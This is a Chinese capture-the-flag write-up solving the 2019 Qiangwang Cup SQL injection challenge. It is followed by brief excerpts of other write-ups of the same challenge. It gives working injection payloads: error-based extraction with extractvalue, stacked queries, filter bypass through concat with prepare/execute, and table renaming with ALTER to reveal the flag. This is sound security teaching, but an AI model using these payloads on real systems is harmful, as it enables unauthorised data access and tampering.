強網杯 2019 隨便注

2022-01-29 17:01:13 字數 3381 閱讀 7281

var_dump乙個陣列,就是sqli沒跑了。

1' 報錯

1' and 1 報錯

1' and 1# 正常回顯

1' and 0# 不回顯

顯然,查詢語句的關鍵字通過單引號閉合,那麼它的形式應該類似與:

select * from table where id = '$id';
接著,檢視下字段數。

1' order by 1# 正常回顯

1' order by 2# 正常回顯

1' order by 3# 報錯

所以,可以知道欄位數為2。

-1' union select 1111,2222#

報錯:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現過濾了select,嘗試大小寫,雙寫,加注釋都無法繞過。

-1' and extractvalue(1,concat(0x7e,database()))#

=> error 1105 : xpath syntax error: '~supersqli'

-1' and extractvalue(1,concat(0x7e,user()))#

=> error 1105 : xpath syntax error: '~root@localhost'

-1' and extractvalue(1,concat(0x7e,version()))#

=> error 1105 : xpath syntax error: '~10.3.18-mariadb'

可以獲得資料庫的一些基本資訊,但是沒有select一樣查詢不了別的資訊。

1';show databases# 正常回顯

報錯:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

1';show columns from ctftraining.`flag_table`#

一樣的報錯

沒有用到select呀,怎麼會出現這個報錯??有點懵。

出現database.table會自動轉化成select?

試試,直接查詢當前資料庫好了。

剛剛測試報錯注入的時候有報錯,預設database在supersqli,看下裡面有什麼。

1';show tables# 

=>正常回顯 有兩張表 1919810931114514 和 words

1';show columns from `1919810931114514`#

=>nice!正常回顯

噗 原來flag在這嗎

不過,不能用select怎麼檢視呢?

看了大佬的wp,有兩種辦法

concat()出乙個'select',然後預編譯這條查詢語句,再執行它。

set @sql = concat('se','lect * from `1919810931114514`;');

prepare stmt from @sql;

execute stmt;

合在一起就是我們的payload

payload:-1';set @sql = concat('se','lect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#

=>strstr($inject, "set") && strstr($inject, "prepare")

報錯,檢測到set 和 prepare關鍵字,大佬的wp裡說,strstr()不能區分大小寫,所以直接大寫繞過。

payload:-1';set @sql = concat('se','lect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#
得到flag。

前面在測試堆疊注入的時候,我們就知道flag存在supersqli的1919810931114514表,但同個資料庫下還有另外一張表words。檢視它的字段的話,就會發現這就是我們回顯資料所在的表,它們的結構都是乙個id,乙個字串。

既然不能構造語句select查詢,那就只能利用它原有的查詢語句了。

通過堆疊注入,對調兩個表的資訊,這樣就能把我們想要的資訊正常地顯示出來了。

alter table `words` rename to `bak`;

alter table `1919810931114514` rename to `words`;

alter table `words` change `flag` `id` varchar(100);

合成payload

1';alter table `words` rename to `bak`;alter table `1919810931114514` rename to `words`;alter table `words` change `flag` `id` varchar(100);#
注入成功後,檢視flag

強網杯 2019 隨便注

1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...

強網杯 2019 隨便注

知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...

強網杯 2019 隨便注

題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...